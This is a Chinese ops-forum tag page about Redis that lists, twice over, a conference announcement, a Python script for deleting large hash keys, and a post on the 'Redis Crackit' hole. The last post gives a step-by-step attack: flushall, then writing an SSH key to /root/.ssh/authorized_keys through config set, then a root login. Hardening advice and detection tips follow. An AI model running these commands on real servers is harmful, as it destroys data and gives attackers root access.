Redis

Redis

SDCC 2017中国软件开发者大会·上海站除了大牛和精彩议题,还关心什么?

运维杂谈huodongjia 发表了文章 • 0 个评论 • 947 次浏览 • 2017-02-18 11:42 • 来自相关话题

2016年3月18日-19日,SDCC第一次走出了北京来到了上海,怀揣着理想和抱负,本着干货实料的原则,以及诸多CSDN老友的支持和帮忙,终圆满举办,现场火爆,广受好评。在紧接着的一年中,SDCC走到了深圳、成都、杭州等地,每一次都让SDCC成长颇丰,如今,在 ...查看全部
2016年3月18日-19日,SDCC第一次走出了北京来到了上海,怀揣着理想和抱负,本着干货实料的原则,以及诸多CSDN老友的支持和帮忙,终圆满举办,现场火爆,广受好评。在紧接着的一年中,SDCC走到了深圳、成都、杭州等地,每一次都让SDCC成长颇丰,如今,在2017年伊始回到了上海,开启新一轮的征程,在一个多月的精心筹备下,成功完成了各项前期工作,网站信息的上线,以及陆陆续续更新的讲师信息和议题资料等。
 
 
 
回忆如暮,我们不妨来看下SDCC在2016走过的征程和那些可能对你有帮助的资料

全年五场,累计200+讲师;
我们做了一个全年度的SDCC精华Slides集锦(全部免积分);
有几十位业内资深认识的好评,不再赘述;
议题内容也非常的多样化,满足了大部分参会者的需求,涵盖了:海量数据下的应用监控系统建设\异常检测的算法和实现\大数据基础架构实践\数据平台的构建及其应用、深度学习、机器学习算法、可用/高并发/高性能系统架构设计、电商核心交易系统架构、智能硬件架构、分布式架构、应用系统架构、数据库访问层的架构设计、Hybrid框架、云服务架构、运维工具研发与实践、运维自动化系统的构建、大数据与运维、云上的运维案例分析、虚拟化技术、应用性能检测与管理、游戏行业的运维实践等;
每一期的嘉宾都来自一线的互联网公司,这些老司机来自的公司有阿里、腾讯、百度、华为、蚂蚁金服、京东、奇虎360、苏宁云商、携程、小米、滴滴出行、美团点评、1号店、聚美优品、当当网、平安科技、饿了么、YY、唯品会、蘑菇街、AdMaster、游族、有赞、Echo、ThoughtWorks、nice、中国电信、亚信、阅文集团、优维科技、出门问问、云霁科技、UCloud、七牛云等,挥洒热血在SDCC这片盛世沃土上;
在现场的所有人都会进入到微信群,内有所有的讲师和参会者,从而增强了师生的探讨和交流,不仅仅是提前将会议课件发放群里,且在提问环节名额有限的前提下,内敛的参会嘉宾亦可在群里交流,包括约起线下交流,甚而后续的持续交流,大大提高了参会者的热情;
每一次的技术大会上,我们会选用不同的礼品作为问答环节的奖品,包括技术人员深爱的技术图书、鼠标垫等,每每他们拿到礼物时欣喜及发自内心的微笑,都会让会议多增加一笔靓丽的色彩;
不仅是线上的沟通交流,也会在开会前一天,所有讲师聚在一起,在宝贵的时间里去探讨如何做好一场走心的演讲,包括节奏的把控、现场的气氛和观众的互动等,这里虽然不能一一而足,但都是在用心去分享;
内容为根基,大会课件经过了讲师多个日日夜夜的精心制作,以及出品人提出修改建议,再反复雕琢之后,从而形成了一份出色的课件。
 
SDCC 2017中国软件开发者大会·上海站大会亮点


3月17日  互联网运维开发实战峰会



1百度、阿里、腾讯、苏宁等企业的顶级运维大牛带来360度无死角的运维盛宴;

2大规模分布式系统运维、自动化运维、云端运维、游戏运维、海量容器运维等等热点技术话题一网打尽。


3月18日  数据库核心技术与应用实战峰会



1集结业界前沿领域的数据库专家,业界巨匠,触手可及;

2围绕MySQL、PostgreSQL、Redis、Oracle等数据库,共同探讨性能调优、数据库自动运维、云端数据库、新一代数据平台等领域的前瞻性话题;

3深度剖析行业痛点,探秘数据库核心技术。


3月19日  互联网应用架构实战峰会



1汇聚互联网应用架构实践的焦点议题;

2海量并发环境下的高可用/高并发/高性能系统架构设计、电商架构、分布式架构、从0到N的系统设计、平台架构演进、微服务等。
 
SDCC 2017中国软件开发者大会·上海站联系方式:
手机  :  13816737564
QQ  :  1040687893
联系人:活动家

如何有效删除Redis中比较大的Hash Key

NoSQL赵班长 发表了文章 • 0 个评论 • 4423 次浏览 • 2016-02-15 18:47 • 来自相关话题

    生产上由于业务设计原因,有一些500M的Hash Key,现在已经没有用了,需要删除,如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案:      在一个夜深人静的时刻,流量低点进行操作(运维真是苦逼啊!)     ...查看全部
    生产上由于业务设计原因,有一些500M的Hash Key,现在已经没有用了,需要删除,如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案:
  •      在一个夜深人静的时刻,流量低点进行操作(运维真是苦逼啊!)
  •      写个脚本,把Hash里面的内容一条一条删除(Python大法好啊!)

   
Python脚本:
      于是变有了这个脚本,很Low,很实用:
# -*- coding: UTF-8 -*-
'''
python redis_hash_del.py HASH_KEY_NAME
'''

# Import python libs
import sys
import redis

# Args Input filter
if len(sys.argv) <= 1:
print "python sys.argv[0] HASH_KEY_NAME"
sys.exit()
else:
hashkey = sys.argv[1]

# redis_hash_del online
def redis_hash_del(hashkey):
'''
delete redis hash key
'''
r = redis.Redis(host='192.168.0.118',port=6379,db=0)
if r.exists(hashkey):
hashkey_all = r.hkeys(hashkey)
for i in range(len(hashkey_all)):
r.hdel(hashkey, hashkey_all[i])
print i
else:
print "KEY NOT EXISTS"

if __name__ == "__main__":
redis_hash_del(hashkey)

[/i]

  使用方法:

    手动修改脚本里面的IP地址和端口,然后:
[i]python redis_hash_del.py HASH_KEY_NAME[/i]

 

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 5352 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!     目前Redis Crackit都炒翻 ...查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushallOK#把公钥写入到一个key里面[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen#连接到这个redis上[root@test-node1 ~]# redis-cli -h 192.168.199.221#设置rdb文件存放的路径redis 192.168.199.221:6379> config set dir /root/.ssh/OK#设置rdb文件的文件名redis 192.168.199.221:6379> config set dbfilename "authorized_keys"OK#搞定保存redis 192.168.199.221:6379> saveOK#退出redis 192.168.199.221:6379> exit#尝试登陆吧[root@test-node1 ~]# ssh root@192.168.199.221Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys[root@test-node2 ~]# cat /root/.ssh/authorized_keys注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。如何防护:     1.禁用这些可以入侵的命令:     [root@test-node2 ~]# vim /etc/redis.conf     rename-command FLUSHALL ""     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。     2.将你的redis不要运行在0.0.0.0.或者设置验证。     [root@test-node2 ~]# vim /etc/redis.conf    requirepass redis-passwd    bind 192.168.199.11   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。如何发现被入侵:   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

SDCC 2017中国软件开发者大会·上海站除了大牛和精彩议题,还关心什么?

运维杂谈huodongjia 发表了文章 • 0 个评论 • 947 次浏览 • 2017-02-18 11:42 • 来自相关话题

2016年3月18日-19日,SDCC第一次走出了北京来到了上海,怀揣着理想和抱负,本着干货实料的原则,以及诸多CSDN老友的支持和帮忙,终圆满举办,现场火爆,广受好评。在紧接着的一年中,SDCC走到了深圳、成都、杭州等地,每一次都让SDCC成长颇丰,如今,在 ...查看全部
2016年3月18日-19日,SDCC第一次走出了北京来到了上海,怀揣着理想和抱负,本着干货实料的原则,以及诸多CSDN老友的支持和帮忙,终圆满举办,现场火爆,广受好评。在紧接着的一年中,SDCC走到了深圳、成都、杭州等地,每一次都让SDCC成长颇丰,如今,在2017年伊始回到了上海,开启新一轮的征程,在一个多月的精心筹备下,成功完成了各项前期工作,网站信息的上线,以及陆陆续续更新的讲师信息和议题资料等。
 
 
 
回忆如暮,我们不妨来看下SDCC在2016走过的征程和那些可能对你有帮助的资料

全年五场,累计200+讲师;
我们做了一个全年度的SDCC精华Slides集锦(全部免积分);
有几十位业内资深认识的好评,不再赘述;
议题内容也非常的多样化,满足了大部分参会者的需求,涵盖了:海量数据下的应用监控系统建设\异常检测的算法和实现\大数据基础架构实践\数据平台的构建及其应用、深度学习、机器学习算法、可用/高并发/高性能系统架构设计、电商核心交易系统架构、智能硬件架构、分布式架构、应用系统架构、数据库访问层的架构设计、Hybrid框架、云服务架构、运维工具研发与实践、运维自动化系统的构建、大数据与运维、云上的运维案例分析、虚拟化技术、应用性能检测与管理、游戏行业的运维实践等;
每一期的嘉宾都来自一线的互联网公司,这些老司机来自的公司有阿里、腾讯、百度、华为、蚂蚁金服、京东、奇虎360、苏宁云商、携程、小米、滴滴出行、美团点评、1号店、聚美优品、当当网、平安科技、饿了么、YY、唯品会、蘑菇街、AdMaster、游族、有赞、Echo、ThoughtWorks、nice、中国电信、亚信、阅文集团、优维科技、出门问问、云霁科技、UCloud、七牛云等,挥洒热血在SDCC这片盛世沃土上;
在现场的所有人都会进入到微信群,内有所有的讲师和参会者,从而增强了师生的探讨和交流,不仅仅是提前将会议课件发放群里,且在提问环节名额有限的前提下,内敛的参会嘉宾亦可在群里交流,包括约起线下交流,甚而后续的持续交流,大大提高了参会者的热情;
每一次的技术大会上,我们会选用不同的礼品作为问答环节的奖品,包括技术人员深爱的技术图书、鼠标垫等,每每他们拿到礼物时欣喜及发自内心的微笑,都会让会议多增加一笔靓丽的色彩;
不仅是线上的沟通交流,也会在开会前一天,所有讲师聚在一起,在宝贵的时间里去探讨如何做好一场走心的演讲,包括节奏的把控、现场的气氛和观众的互动等,这里虽然不能一一而足,但都是在用心去分享;
内容为根基,大会课件经过了讲师多个日日夜夜的精心制作,以及出品人提出修改建议,再反复雕琢之后,从而形成了一份出色的课件。
 
SDCC 2017中国软件开发者大会·上海站大会亮点


3月17日  互联网运维开发实战峰会



1百度、阿里、腾讯、苏宁等企业的顶级运维大牛带来360度无死角的运维盛宴;

2大规模分布式系统运维、自动化运维、云端运维、游戏运维、海量容器运维等等热点技术话题一网打尽。


3月18日  数据库核心技术与应用实战峰会



1集结业界前沿领域的数据库专家,业界巨匠,触手可及;

2围绕MySQL、PostgreSQL、Redis、Oracle等数据库,共同探讨性能调优、数据库自动运维、云端数据库、新一代数据平台等领域的前瞻性话题;

3深度剖析行业痛点,探秘数据库核心技术。


3月19日  互联网应用架构实战峰会



1汇聚互联网应用架构实践的焦点议题;

2海量并发环境下的高可用/高并发/高性能系统架构设计、电商架构、分布式架构、从0到N的系统设计、平台架构演进、微服务等。
 
SDCC 2017中国软件开发者大会·上海站联系方式:
手机  :  13816737564
QQ  :  1040687893
联系人:活动家

如何有效删除Redis中比较大的Hash Key

NoSQL赵班长 发表了文章 • 0 个评论 • 4423 次浏览 • 2016-02-15 18:47 • 来自相关话题

    生产上由于业务设计原因,有一些500M的Hash Key,现在已经没有用了,需要删除,如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案:      在一个夜深人静的时刻,流量低点进行操作(运维真是苦逼啊!)     ...查看全部
    生产上由于业务设计原因,有一些500M的Hash Key,现在已经没有用了,需要删除,如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案:
  •      在一个夜深人静的时刻,流量低点进行操作(运维真是苦逼啊!)
  •      写个脚本,把Hash里面的内容一条一条删除(Python大法好啊!)

   
Python脚本:
      于是变有了这个脚本,很Low,很实用:
# -*- coding: UTF-8 -*-
'''
python redis_hash_del.py HASH_KEY_NAME
'''

# Import python libs
import sys
import redis

# Args Input filter
if len(sys.argv) <= 1:
print "python sys.argv[0] HASH_KEY_NAME"
sys.exit()
else:
hashkey = sys.argv[1]

# redis_hash_del online
def redis_hash_del(hashkey):
'''
delete redis hash key
'''
r = redis.Redis(host='192.168.0.118',port=6379,db=0)
if r.exists(hashkey):
hashkey_all = r.hkeys(hashkey)
for i in range(len(hashkey_all)):
r.hdel(hashkey, hashkey_all[i])
print i
else:
print "KEY NOT EXISTS"

if __name__ == "__main__":
redis_hash_del(hashkey)

[/i]

  使用方法:

    手动修改脚本里面的IP地址和端口,然后:
[i]python redis_hash_del.py HASH_KEY_NAME[/i]

 

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 5352 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!     目前Redis Crackit都炒翻 ...查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushallOK#把公钥写入到一个key里面[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen#连接到这个redis上[root@test-node1 ~]# redis-cli -h 192.168.199.221#设置rdb文件存放的路径redis 192.168.199.221:6379> config set dir /root/.ssh/OK#设置rdb文件的文件名redis 192.168.199.221:6379> config set dbfilename "authorized_keys"OK#搞定保存redis 192.168.199.221:6379> saveOK#退出redis 192.168.199.221:6379> exit#尝试登陆吧[root@test-node1 ~]# ssh root@192.168.199.221Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys[root@test-node2 ~]# cat /root/.ssh/authorized_keys注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。如何防护:     1.禁用这些可以入侵的命令:     [root@test-node2 ~]# vim /etc/redis.conf     rename-command FLUSHALL ""     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。     2.将你的redis不要运行在0.0.0.0.或者设置验证。     [root@test-node2 ~]# vim /etc/redis.conf    requirepass redis-passwd    bind 192.168.199.11   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。如何发现被入侵:   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

Redis